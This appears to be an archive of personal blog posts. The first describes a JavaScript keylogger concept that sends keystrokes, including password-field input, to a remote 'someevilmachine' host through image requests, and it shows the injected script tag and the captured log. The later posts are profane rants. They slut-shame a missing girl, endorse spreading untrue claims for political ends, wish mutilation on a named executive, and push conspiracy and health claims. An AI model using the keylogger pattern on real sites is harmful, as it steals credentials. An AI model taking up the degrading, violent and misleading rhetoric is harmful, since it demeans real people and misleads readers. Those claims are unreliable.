And… it’s not people that abuse things who harm people — it’s the people that put those things there without thinking.

An explaination: I have always been intrigued by HTML forms. As a paranoid person, I have always wondered whether companies or websites are logging keypresses to their website. Picture the situation where you want to leave feedback at a site… but finally do not hit the “Send” button because of various reasons, like, for instance, the tone was too harsh so you decide not to. For the website it could have been very useful information: unsent comment or feedback may be more valuable than the ones that are actually arriving in their inboxes.

That was quite some time ago — and I didn’t give it any more thought until recently… See, I noticed that, for instance when I have worked the whole day, or the operating system is just acting up, sometimes the wrong window has the focus, and I am happily typing away, seeing nothing appear in the window I was staring at…. (Yeh, it happens.)

Now, there could be even more valuable information! Interesting bits of text, login names — or even better, accidentally typed passwords!

With that in my paranoid mind, I started tinkering around with Javascript to see if this is actually possible… I quickly put together some rather trivial code that captures the KeyboardEvent, inspects it, and collects them all into a string. Through the body’s onunload I called a routine that displayed an alert saying something like “Hey, you left these keypresses at this website: the collected string“.

Using the onunload however has several drawbacks:
- it isn’t always called (for instance, when the browser crashes),
- it seems the body’s onunload can only be set when the document is generated, that kinda sucks if you wanted to do be able to do the keylogging by simply loading some remotely stored Javascript file.

The curious and experimenting person that I am, I realised a bad guy would be not collecting the information and printing it — but would be sending them to a remote machine. Hmm, a remote machine, so AJAX won’t do… but there are always images…. What if I dynamically create an image, with a src pointing to some other website, with the pressed character in the GET request? Nice and simple, right?

OK, so now the keylogger is loaded and active when the following line is somehow inserted into a website:

<script type=”text/javascript” src=”http://someevilmachine/wtfjs.php”></script>

This simple single script, when loaded, attaches itself to the keyPressDown event of the document, of course remembering any old setting so to be able to pass the event through to any “local” code on the target website, as an attempt to go “undetected”.

Also, modern websites have all kinds of Javascript running, and could do some additional “setting up” from Javascript from which the event handlers get set… In an attempt to take this into account, the logger attaches itself after a delay of a given amount of milliseconds. After that, the moment a keypress event is received in the window, the requests appear in the logfile on the remote website (obligatory dump follows):

GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 –
GET /temp/wtfimg.php?c=s HTTP/1.1″ 200 –
GET /temp/wtfimg.php?c=d HTTP/1.1″ 200 -

The drawback to the method currently, is that it sends a request with every keystroke made, which may be noticed by the more adept computer user… it would be possible to send collected strings at a given interval… But really, actually building a succesful keylogger isn’t the point; the point was figuring out if it is really doable (which, non-surprisingly, it is).

By the way, I’m rightly aware of the fact that I am discussing nothing really new here — this is absolutely no cutting-edge stuff. More interestingly, this has probably already been done by bad guys for ages.

On some websites with many authors that incidentally have the permission to insert Javascript, these “lower level” users could be able to catch passwords of administrative users, et cetera.

All-in-all, the only thing I am really frigging flabbergasted at, is the fact that an <input type="password"> actually sends the pressed key in a keypress event… WTF!? Knowing this, and wanting to “protect” a password entry field, I tried it by giving it its own onkeypress-handler….. I figured that it would get precendence over the documents’ keypress, but alas, it doesn’t…

It seems that there is no way to guard against this, other than to re-set your “local” event handlers regularly (which is no solution but a hack!)…

In conclusion, I really think that the password input type should somehow be prevented from putting any valid information about the pressed key into the KeyboardEvent. I know it’s used for comparing 2 passwords to validate a user’s password change for instance — but some hash could perfectly suffice there.

I am convinced the website-scripter should not ever have to have access to the real password entered in that field from Javascript — thinking that that could achieve some ‘protection’ is a flawed train of thought anyways…

Oh by the way, if you are looking for code: I will not release it here. It really isn’t difficult to cook some up yourself.

It hit me when my girlfriends’ laptop was starting to have issues because it was running too hot and rebooting a few days ago… This was due to a clogged air-vent, and was easily solved. However, to keep an eye on the temperature, she’s loaded the KDE applet that shows the CPU temperature.

This gives an interesting insight into power consumption … for instance, during normal browsing, opening a few tabs, et cetera, the temperature quickly rises a 10 degrees Celsius just because of the Flash animations that are trying to sell stuff we’re not even remotely interested in….

The moment you close those websites with those animations: *poof* the temperature drops and the fan quiets down again.

So I propose people to stop using those damned ads (or use text-ads if you really really need to).

(I was even thinking about taking this a step further, as a “proposal to stop irritating internet plugins” … where a plugin must show a screenshot, and a (i) button which you hover over to get informed about a plugins’ intent, and allow it. If the plugins’ actual action does not fit the intent, those plugin-writer should go to jail.. yeh I’m still hatching this one…)

Couple of years ago, while watching the Snooker championships on TV, noticing the advertisements on the players’ clothes, I had this nasty vision that at one point, ‘internet-connected sponsorships-tags‘ could just change on the fly… (The patent doesn’t mention any network connectivity though.) A player plays better: more companies want to be on that thing and the position is sold through eBay or something, and the highest bidder ends up on the players’ shirt — until the player wins another frame which could totally change popularity and pricing. Seeing that, nowadays, advertisement-money makes the world go ’round, this idea is probably viable too.

I really should patent the above idea…. but now that it is out in the open, thus no longer original if somebody else thinks of the idea, so nobody else ever can.

You could just as well be asking:
“You screwed around in the sixties, now why can’t your kids?”
“You smoked as a teen, now why can’t your kids?”
“You shop-lifted, broke public property and sprayed graffiti on walls, now why can’t your kids?”
“You watched porn, now why can’t your kids watch MTV?”

Now I could go off making dumb conclusions a few paragraphs to say with a lot of words that, well, sex, smoking and shoplifting or braking public property isn’t what it used to be… But you know that is just a silly waste of electronic ink.

(Oh, if I only wrote columns for a paper — then I could get payed (per word) for my bullshit musings, too.)

This doesn’t have a single thing to do with the games — it has to do with the fact that people slowly realise that TV and media do have a bad influence…. Under the guise of ‘freedom of speech’ and shit like that, we get all kinds of soft-porn thrown at us — and surely girls get raped on the streets.

That is all OK because MTV can sell ads in between. But parents have to get the fingers pointed at and told “Hey you played games as a kid why can’t yours?.”.

So the media can sell more.

It’s not surprising to see that these criminals get away with an un-just war. No investigation into the Iraqcle (Iraq + Debacle) — it’s a fucking joke how easy they can get away with this…. These corrupt guys just throw an extra bunch of impossible new ideas into their party-program that they’re sure of it’ll cause major irritation and objections from all the other parties — and you can get away with the shit you really want to do.

And meanwhile, there’s another election pending, one for the Staten-Generaal, or parliament, this March…. And I am having serious doubts as to vote, or not to vote.

The irony is that I’ve always told other people to use their vote but at this point I’ve lost total trust in that system. I’m currently balancing two things on a scale:

1. If I vote — I am, somehow, kinda responsible for anything coming from it.
2. If I do not vote, I am, somehow, kinda responsible for anything coming from it.

So basically, we have 2 different actions — both resulting in the same consequences.

If doing something and doing nothing have similar consequences, should any effort be made? Is that morally acceptable? We all know that, politically, things will only get worse (Entropy: the slow, but sure detoriation of a society)…

(Incidentally, listening to Kurtis Blow’s “If I ruled the world” the other day, I realised that:

If I ruled the world and there would be happiness and peace;
The CIA’s terrorists would blow it to pieces.

And the sad reality is that there will never be peace because there’s always an asshole who thinks he must change other people. But I slightly digress here.)

Possibly, taking part in the voting process is basically keeping this hideous thing in motion. At least that does count for the herds of thousands of sheep who only know of politics what the media feeds them.

There’s no way for a few sane people to go up against the insane multitude with an insane system.

Keeping those things in mind, day by day I get more accustomed to the thought that I can just ignore stuff and head out to buy the latest video-game. The multitude seems to only think about themselves, so why shouldn’t I.

According to the article, it’s contaminated with a type of modified rice that can survive a certain weed-killer.

The article doesn’t at all mention the name of this weed-killer, but I think I can deduce that that has to be the weed-killer named ‘Round Up‘. Which, really ain’t no weed-killer — it kills everything organic. I saw some pretty nasty shit a couple of years ago — where genetically engineered crops resisted Round Up, whilst all the other crop almost litterally ‘burned’ away.

Some pretty nasty toxic stuff, well, unless you are a genetically engineered crop, of course. It’s like, genetically modifying mankind to sustain nuclear radition and dropping a bomb on the planet.

When I was a kid and I read technological magazines, they would talk about how genetically engineered crops will be able to grow, say, in unhabitable places such as the Sahara desert. That it would cure the world of famine and marketing it as such they probably got a lot of money for the research — but the way this technology now really is used really scares me.

What is even more worrying, the last time I went to some store for some stuff for my garden — I noticed these ordinary shops are pushing that Round Up stuff to the regular consumers now too. I guess it will be just a matter of time before they will start to sell modified grasses and bulbs, so everybody can have that weed and hassle free lawn.

Thinking about how mankind basically ‘genetically engineered’ the killer bee into existance and the impact of that mistake, I really hate to see where this stuff is heading. In my point of view they are, once again, too soon trying to make some quick money of a technology that isn’t fully developed yet.

The European Food Safety Authority (EFSA) states that the long-term effects of genetic modification have not been sufficiently investigated. And they’re right — it could surely be that, in the future, certain hybrids of genetically engineered crops could have a very negative impact on our environment or ourselves. And that can easily happen because pollen travels by wind and insects carry it around and so it can furtilise flowers in far away places.

The EFSA is playing down the danger of this rice contamination though, saying that there is probably nothing to worry about but this is one of the few times that I’m glad I’m a picky eater and don’t eat rice at all.

The LL601 strain of rice is illegal in Europe but as mentioned in this article, recently a shipload of American rice in the Rotterdam harbour was discovered to be contaminated — which implies that the stuff is still getting shipped into Europe.

The producer of the rice denies the alligations saying that they carefully check their rice, but they have only guaranteed their rice to be gentech-free since the 23st of August this year. Rice from before that date were not removed from stores, though.

It seems like a zombie-movie, but what if the genetically engineered crops have already begun infecting the natural crops? It would be as good as impossible to rid the world of it.

If you are a couple worried about the same thing, chances are you have occasionally discussed ‘why should the woman take precautions, and not the man?’.

Apparently, the pharmaceutical industry saw this coming and has started spending their research-budgets on it years ago.

Recently, me and the girl had the same talk, sparked by some new developments on the male birth-control scene I read about some time last month (looking around for references I noticed some recent hype about it) — within a couple of years the male birth control pill may actually be a reality.

So we were talking about the options, when it suddenly hit me why male birth-control can never be as effective as the female. I haven’t gotten around to actually share this and because I feel I make a very solid point that both male and female would acknowledge — here goes…

First of all, don’t get me wrong, it’s not that I don’t want to take a responsible part in accomplishing the goal of not having kids — even though I shiver at the thought of things like surgical sterilisation. That’s why I had always thought the male birth-control pill to be a good idea (apart from possible long-term problems that might arise from teenagers using it to mess around, in contrast to using a condom which would beneficially prevent against venereal diseases).

Getting the male sterile (chemically, surgically or whatever way), just like the decision not to have sex, will not ever guarantee anything…

In the worst case scenario you’ve had your vas deferens cut in two and tied knots in, thus making it impossible for the sperm to leave your testes. OK I know it’s hard (pun unintended), but try to imagine that. That doesn’t prevent any other man’s sperm leaving their testes, now does it? [It's like, installing a firewall on machine A to prevent attacks on machine B which obviously doesn't prevent it getting probed by a third, unknown machine.]

I don’t want kids and I surely wouldn’t want to raise some frigging rapists kid — or any other guys kid for that matter.

Imagine if you have gone through having a vasectomy — there you stand, a man, psychologically possibly your manhood affected because of the surgical procedure — and you would still end up paying for an abortion or (even worse, if you have objections to abortion) waste your valuable time raising a kid you didn’t want to have in the first place, and its looks are probably a constant reminder of the rapist and that it’s not even yours.

Life can be a bitch at times, but that would really hurt (and it will most probably seriously mess up the kid, too).

In conclusion, after having thought about it while writing this post, at the moment I’m likened to think that these pills are not targetted at couples. They’re not for the people that seriously want to prevent (or postpone) having kids — not really if you think about it. It seems more targetted at the male that ‘screws around’ and I bet that’s a goldmine.

Birth-control

That’s pretty scary — especially if mix that news with a little bit of this and a little bit of that…

I remember it well because I thought, hey, so basically all you gotta do to prevent an idea from being stolen by a big bad company, you ought to publish it on the internet, because that can be defined as published ‘prior art’. (I’m not a lawyer, but I definitely see a difference between a printed magazine and the internet so I could be all wrong there.)

The Incredible Hulk — Prometheus
Enter, the incredible Hulk. A couple of days ago I was watching an old 80′s programme, The Hulk (hey, call it nostalgia) when I noticed that the idea of ‘force feedback’ was already used in the episode ‘Prometheus‘ (it’s in 2 parts I don’t exactly remember what part it was in… could be in both).

Spoiler warning, yada yada, but it’s about this meteorite crashing to Earth, influencing Banner’s capability to fully turn back into a human…. The government sends their spooks in the form of a special tactical team, working in this facility inside a mountain dubbed ‘Prometheus’.

One of the ‘specialists’ the government hires is a guy that works with robots… In part 1 of the episodes, you see him drinking something with a girl behind a glass panel — why is she behind a glass panel? I guess she’s radio-active or something. He’s pouring her glass with robotic arms which he controls which some mechanism. (I believe the director already slightly hints there that the controller of the robot feels the touch of the women touching the robotic arm on the other side of the panel.)

Later, and as I said, I’m not sure if this happens in part 1 or part 2, but this guy controls the same type of robotic arms again, from a distance.

At a certain moment, and this is the moment I’m focussing on, the Hulk pulls the robotic arms. The next thing you see is the controller being pulled from his position and falling down because of that force. Which surely implies feedback of force, now doesn’t it?

Note these episodes have been aired in 1980.

The Force Feedback Patent
Now — knowing that it was the company Immersion that went after a couple of console producers that used the force-feedback concept in their controllers, I looked around a bit and came to discover this patent describing an `Electromechanical human-computer interface with force feedback‘.

Hmm, OK, now that is interesting because it’s from 1996 (well, filed in 1995, so we’ll give them that year).

But — the episodes in The Incredible Hulk surely show an electromechanical human-computer interface too with, indeed, force feedback.

Seeing the year that this specific episodes are from, then a rough 15 years later the same concept is not at all ‘original’ and ‘innovative’ as a patent ought to be. Thinking of that ping-pong ball story, it makes me conclude the force-feedback patent is invalid because I don’t see this being any different.

Searching around a bit more, I found the story on the Donald Duck and the ping-pong balls here, it seems this prevented the patent from being approved in the Netherlands and Germany — not in the US…

But as I said, I am not a lawyer at all and I could be completely on the wrong track here… but it’s just something that I noticed.

The Incredible Hulk, Force-feedback, Prior-art

Oh my fucking god. This is serious because there are plenty of stupid people in this world to believe that crap. Fuck, the critical majority, in each and every issue, is dumber than a horses ass and knows just enough to fuck the whole world up even more.

Ballmer — you are the (fat) fucking thief here — as we all know that property implies theft.

And thieves that steal from the people, of course, rightly deserve to get punished, biblical-style…. And making statements like that, after cutting of his hands, let’s cut out his tongue too.

The sad future is, Microsoft will probably succeed in all this, BECAUSE EVERYBODY IN THIS FUCKING WORLD IS A FUCKING SPINELESS BITCH. Excuse my caps, but sheeeze, this is a fucking disgrace.

Microsoft fanbois probably praising this shit, while they don’t even know half of the Microsoft codebase is probably stolen from public domain anyway.

It seriously upsets me that all those Microsoft fanbois are critising Sony for that DRM debacle, but fuck, how a naive asshole can you be thinking that Microsoft isn’t doing exactly the same with their XBugs (and Vista etc)? Sheesh, those critics wouldn’t even know the DRM mess around them, even if somebody tripped them and they fell face down and drowned in that shit.

What do you think Microsoft is up to with all this shit? The more and more I see the things that the people are allowing to (well rather: ‘against’) themselves, the more I really tend to think that none of you people deserve the freedom you all do dream about. All these idiots probably didn’t even know that the Windows’ TCP/IP stack (you need one for networking) was initially stolen from BSD?

First, they steal all the code, and are now going after the initial sources?

They first targetted Linux, using SCO as a proxy. Now it seems they are throwing their own weight against it. Only because they want nobody to learn IT technology for free. Only to guarantee their frigging monopoly.

The future radiates uglyness and smells of pooh.

As I said earlier this month, Death To The Corporate Mafia and, as things seem to stand, the sooner, the better.

Oh shit — if only this news was a hoax, just like the release of Microsoft’s Firefox browser.

That’s what we were discussing when we had some dinner with some friends the other day; talking about the fact that I’m a picky eater, well, that each of us have such different preferences, but that it’s hard to think of new menus because of this. And eating the same shit every time can get boring. And I also know that ‘picky eaters‘ often get the question if I they got a list of things they like for a quick reference.

So the idea spawned: some location on the internet to share your food preferences with an optional to ‘match’ these with somebody else’s.. Useful when you are meeting them for dinner: you excange IDs and you can check the site and you’re all set for a happy dinner without people irritated because they don’t like the food and/or no alternatives have been arranged for them.

After some initial talks, some initial ‘brewing’, the day after I quickly cooked something up (I already had a domain registered doing nothing for years which is just great for the job).

Only this weekend I got around to finetune it some more and lo and behold, a new site was born at brain-tag.net:

At the moment, it’s in beta — texts are incomplete and/or contain typos — but heck, use is restricted to friends only — and only these friends can invite other friends — but if you are a developer like me you know it’s fun to create and brag about stuff.

So, if you are a friend and if you’re interested in a beta-test account, let me know. (And yeh, it’s multi-lingual: Dutch and English.)

Update 2006-10-17: Meanwhile, the site has changed a bit: 356 foodstuffs as I write this, and more functionality has been added. Stuff like, for instance, support for allergies — that could be the difference between life or death! — and mucho speed- and interface-enhancements. The site might be giving away some accounts in the future, so check it out some time, maybe you’re lucky.

See, I really have nothing to hide. I fear that ‘The Man’ only wrongly interprets the information and I get Red Flagged for nothing.

People always thought I was kidding when I said that, but I’m ever so serious. Recently I was thinking that, basically, some anti-piracy dickheads would dare to state that, if one buys computer components, or a PC, from a retailer and he doesn’t include an operating system, the person would be a software-pirate.

When I today read this article here, well, my fears are confirmed.

The BSA wants more enforcement and I can see them convincing ‘the law’ that people that do not buy an OS are pirates.

Which is, of course, a big load of crock.

Piracy, Surveillance, Privacy

In the future, not only will there be a divide in classes, i.e. an economic divide, but it will be genetic as well.

So, the ‘general public’, i.e. you and me will get genetically engineered to:

• Stop nagging about authority,

• Stop wanting change,
• Stop begin depressed,
• Stop procreating by making us infertile,
• No longer being a threat to the current elite’s grip of power.

Meanwhile, the authority, the elite, will stay the ‘pure’ human race as it is. Basically, it’s humanity on Prozac on steroids: people don’t fucking mind that they’re slaves to the money-hungry, war mongering dickheads that want to stay in power and mess-up our planet.

Can you already feel the DNA-strain-noose around your neck? It’s gonna choke us all.

Visions, Future, Humanity, Repression, Genetic Engineering

Sheesh — did they really have to research this? When will they realise it’s the nakedness on TV too?

Dumb shit like MTV showing a too-young-a-girl crawling over the floor singing “I’m a slave — for you”, people think that doesn’t influence a childs’ mind?

In Holland we got dumb stuff like, television programmes getting ratings so parents would be able to decide whether their child should watch a programme, whilst the ads in-between are ignored (and almost X-rated in some cases).

Dumb shit like, models looking younger and younger by the year, like some form of legalised paedophilia, so the old horny guys in the fashion industry get their dick sucked by these aspiring girls really sickens me.

Flavor Flav’s ringing in my head saying: “You blind baby. Blind by the fact, you’re watching that garbage.”…

Teenagers, Sex, TV

I didn’t ask for that cheap, vulnerable, very easily exploitable, technology.

But I am forced to use it.

Now, if somebody threatens my life, I either risk getting shot by the guy, or getting sued by the state, because I’m a criminal when I hand over my PIN-code. Like I said: I did not ask for this vulnerable technology, and, I didn’t ask for the banks to move to machines, so they could fire their (human) personnel thus make more money.

So now, in order to fix the problem they have created, they’re labeling us as suspects, pointing the blame at us?

See how they distrust you? And we are expected to trust them?

Remember years ago, when we had to physically go to the bank to get funds and had to show our passport to a person before we got our money.

The whole ‘Gimme your PIN-code at gun-point‘ situation wouldn’t even exist then. Basically, they are trying to fix a broken system that shouldn’t have been introduced in the first place.

Watch my words, in a couple of years we get this same shit dealing with RFID and other ‘new’ stuff.

PIN-code, Criminal, Threat, the Netherlands

It really makes me sick how parents rather point the finger at someone else, whereas they are just as responsible for this situation in the first place.

Sure it is a sad story that somebody made the girl disappear, and of course, it is irrelevant that she might have been a slutty, drunk, horny little whore that actually wanted to get down with those guys.

That’s irrelevant.

It is irrelevant and really doesn’t matter that her parents let her go on that trip to Aruba in the first place. It’s irrelevant that, the American kids that go to Aruba do so because they, legally, can get drunk there and can’t in their own country?

It’s irrelevant that, having not much experience with alcohol, that they can’t handle the booze and start acting weird.

No — that is really all irrelevant. Mothers rather wouldn’t even think of the possibility her girl is a ho’ and was tempted to sins of the flesh herself. “Nah, she was a victim of a sexual predator; my girl is sweet and only plays with My Little Pony.” If that is so — what was her business on Aruba? I believe that was ‘to party’. And the surveillance video’s seem to imply she was partying on her own?

Irrelevant, right?

As long as one can point the finger at somebody else and put all their energy to try to get that guy in jail, one doesn’t have to feel responsible. I bet they live with a bad conscience, though. The parents know its their own fault, but feel better if the ‘whole world’ thinks it’s Jorans’, if you know what I mean. Although the parents will still have nightmares, they won’t be looked down upon when they walk to the grocery store…

Somehow, it’d be poetic justice if the body was to be found and a simple accident had happened. I wonder, if that would happen, if the mother will ever say apologise to the Van Der Sloot family, or will then still blindly, enraged, think that Joran took her little girl away? Seeing her aggressively slander Joran, labeling him as a murderer and sexual predator although here isn’t a single piece of proof, I could even think her capable of hiding the body if it was found. But that’s just my sick little mind.

If any, the guy(s) that really did this, are long-gone and won’t ever be caught.

Wouldn’t you, as a mother, rather see it prohibited for American kids to go party on the islands around the US that don’t have an age-limit on drinking alcohol. Or rather, let kids in the US drink alcohol at an earlier age so they can handle it? Wouldn’t that be more useful than trying to pin this on somebody that could possibly be innocent? That doesn’t bring back the girl. I’d rather see any future ‘accidents’ being prevented rather than spent money and time focusing on this single guy. Which leads me to think that the mother has selfish motives.

Van Der Sloot, Aruba, Holloway

No escape from the propaganda they call TV — get brainwashed while commuting… Two-Minutes Hate, anyone?

All fine and dandy — I see no problem there.

Until 1959, cannabis was available in pharmacies as medicine, under the name Extractum Cannabis Indicae. After that, cheaper, synthetic drugs appeared on the scene. So, that the compounds in it have some effect on some species stands to reason.

But the following line bothers me, just a little:

The new tracer will also help scientists learn more about marijuana addiction, and possibly treat it more effectively, says Henry Wagner, director of the division of radiation health sciences at Johns Hopkins University (who was not involved in the research). With the new tracer, neuroscientists could determine if smoking marijuana increases the number of cannabinoid receptors in the brain, which could lead to a craving for more of the drug.

OK, ‘to learn more about marihuana addiction‘? Why are they so quick to say that ‘marihuana is addictive’?

Isn’t sex comparingly ‘addictive’ too?

I mean, I’m not addicted to sex, but getting it every time I would want it wouldn’t bother me a bit. Does that make me an addict?

Doesn’t that just make me an ‘enjoyer of life’?

Of course, the problem here is the fact that, in the US, it is a controlled substance since some paper-producing guy wanted to keep its paper-monopoly.

That, and the FDA stating that it has no medicinal value.

Of course it has medicinal value. And they know it. They just want to investigate the compounds in order to make cheaper, synthetic ‘alternatives’. (Yeh, the pharmaceutical industry is producing the ‘alternative medicines’ in my book.) But that’s just a hunch.

Marihuana, Medicine, Alternative Medicine, Drugs, Recreation, Addiction

“Simply point the gadget at a freshly baked cookie, for example, and it will analyse its odour and reproduce it for you using a host of non-toxic chemicals. The device could be used to improve online shopping by allowing you to sniff foods or fragrances before you buy, to add an extra dimension to virtual reality environments and even to assist military doctors treating soldiers remotely by recreating bile, blood or urine odours that might help a diagnosis.”

Yeh yeh — the usual ‘wet-dream’ stories pop up — just like they do when they’re discussing anything data-retention or RFID.

Nah — it really is inconceivable that this isn’t going to be used to repress people. (That’s sarcasm.) I don’t see Smell-O-Vision becoming a standard — I rather see sniffer-dogs loosing their jobs as they’re replaced with mechanics, keeping the costs of operating an air-port and stuff even lower…

I smell a new world odor…

Progress, Inventions, Smell, Rant

Why the hell would you destroy nature and put up some warehouse?

Is this some global trend arising, preventing people from growing their own foods? I fear so.

Hell, there’s a ‘hose-pipe ban’ in the UK (yeh, you still may clean your car with the same hose, though).

I wouldn’t be surprised that, in a couple of years, when genetically modified crops are ‘standard’ (let’s try to prevent that in the first place OK), in order to ‘protect’ the technology, will have insane licensing restrictions on them that will make it illegal to make your own derivate, or plant its seeds. (I wouldn’t even be surprised if these future crops will all come out sinsemilla, i.e. without seeds at all.)

I can see this move people getting prevented from growing our own food. We can’t have physically and mentally healthy citizens, now can we?

We rather poison the masses by labeling industrial chemical byproducts as ‘food additive’, ‘sweetener’ or toothpaste ingredient, because, like consultancy, there’s ‘more money to be made in prolonging a problem‘ than actually solving it.

Freedom, Crops, Food, Farms

Although we can put people on the moon and make money of prolonging the problems of sickness, the spam problem most probably still won’t be solved. Not even touching the privacy-related issues there arise if you can only have a presence on the Internet by that single email-address. Sure it would be great for Big Brother, and for all these companies that will implement and profit from these technologies. I sincerely doubt consumers opting for this, voluntarily.

I wonder what that guy has been smoking because I want some of that too.

Communication, Email, Future

It really doesn’t matter if it’s true. If it can take down the Bush administration, all the better.

See, that‘s the fun thing about politics: ‘facts’ don’t have to be true to make the public believe something needs to be done about something.

Even if you don’t believe them to be responsible — if you’d want the Bush administration ‘terminated’ — just say you believe there’s big conspiracy behind this. The more people will say it, the more people will believe.

That’s exactly how they stole / are stealing our liberties…

Politics, Lies, Truth, Propaganda, Conspiracies

You know, with the summer coming, we bought this handy wireless doorbell so that we can hear it ringing when we are, say, drinking with friends in the garden. Our ‘default’ doorbell doesn’t ring that loud, so this is a brilliant solution as you can simply take the ringing end with you anywhere you go.

There’s even this dip-switch thing on the button-part which enabled you to change the sound of the ring (yeah, weird that this is handled by the remote button, not the ringing-part).

Anyway, all fine and dandy. We have used it a couple of times and it really works out quite well.

Until last week, at about 7:30 in the morning. Being vast asleep me and the girlfriend were rudely awakened by a loud Ding-dong.

“What the f…. — did someone ring the doorbell? At this hour?”

Thing is, we configured the doorbell to ring sound ‘A’, but we heard sound ‘B’. I can’t think of anything else than that this must’ve been triggered by some ‘random’ stream of bits in the ether that the receiver could detect. Coincidentally, it matched, and it rang its sound. See, if any neighbour would’ve bought the same device, we must’ve noticed that the recent days. If it only bought it the day before, we’d surely would’ve noticed it while he tested it, for instance.

But no, this was one stray signal that caused the device to ring.

Yeah that’s the problem with these devices — chances are that it receives the necessary information purely coincidental.

So, while not giving this any more mind, later that week, another group of terrorists was captured in London — the news footage showed something that supposed to be some home-brew explosive device: triggered by a mobile phone.

Now either a) the ‘terrorists’ are really that stupid, or b) the media assumes us to be that naive to believe it.

Do you know what kind of risk one takes using a cellphone to trigger a detonation?

Haven’t you ever been called by some telemarketeer or just some idiot dialing the wrong number?

Didn’t you know that Big Brother knows exactly who called who, from where?

So if they bought a new mobile: they are traceable and thus can the culprits be punished.

If they stole a mobile for this task: increased chances that someone dials that number, accidentally setting of the charges.

I don’t mind being lead to believe that people are willing to blow themselves up for a cause — but on their way to it?

What the fuck do you need cellphone triggered devices for if we’re supposed to believe every terrorist wants to be a martyr and is willing to give their own life?

Nah, cellphone-based triggering devices are only used in the movies and in bad government propaganda.

Freaks of Nature, Radiowaves, Terrorism, Propaganda, Observations

It is a feeling, or concept that we can find in various religions. In fact, you don’t even have to be religious to have ever had feelings of ‘hope’.

But what is hope anyway? Is it really what it’s cranked up to be? Is this a human-only thing or do animals ‘enjoy’ a similar concept? Do humans actually have any (positive) advantage over other species because of this concept?

I beg to differ.

To illustrate this, let me first start by explaining when, and why, ‘hope’ takes effect.

Imagine a situation, say, a small prehistoric village with a few families living in it; including you.

Imagine a major drought. Imagine people starving and dying all around you. You could panic and take appropriate action, like trying to find food elsewhere, but your lack of energy (starvation remember) makes this impossible because moving around hurts like hell.

You could give up and kill yourself to avoid pain; but one could also ‘hope’ that one day, the rain will come, and all will be same as old.

So what does ‘hope’ then basically do? Psychologically, it makes you ignore the current situation you’re in (or don’t be bothered as much by it), in the belief that one time, no matter how far this is in the future, better times will come.

You could say that, in a way, ‘hope’ is a ‘survival mechanism‘: it will keep you in acceptance of the current situation you are in (or at least not be bothered as much), with the silly idea that one time, things will get better and all problems get solved.

And that’s exactly where the danger of this concept comes rearing it’s ugly head.

People have existed and roamed this planet for centuries now. Initially, we were truly free: no religion telling us what to do, no dictator forcing a way of life and lots of space.

The ancient philosophers already noticed the detoriation of society and it getting worse and worse. And what have we done the last 2000 years? Yeah, we hoped that things would get better. But has anything really changed for the better?

Nope, we only got greedier.

Although, yeah, we really hope that, one day, people all live happily together, there are no more wars, there is enough food and slavery has been completely abolished.

Yeah, but meanwhile, this hope really just keeps us subdued. Like the passed 2000 years — see where all that hope brought us.

And now people hope that one day, the truth on 9/11 will come out. They hope the Bush family bankrupts. They hope that once, the whole truth about the US’s war-mongering business (WW2, Vietnam, Iran/Iraq, the Taliban, Iraq) will once come out and the people responsible, somehow, punished.

The hope of a better world keeps us from taking action — and that’s exactly where the danger lies. Other people get affected by it and also start hoping, because they don’t like being ‘upset’ all day and rather ‘have peace’. Hope seems to supply this peace and spreads an infects like a disease.

We see the environment getting messed up, but some president says ‘The future technology will solve these problems.‘. That’s using ‘hope’ as a basis not to take action.

Conclusion
It’s the peoples’ false optimism that makes this world get more paradoxal and insane as time goes by.

There’s activism, and there’s hope that things will change.

In my humble opinion two opposites and, no action seems for selfish pussies.

Hope, Danger, Submission, Activism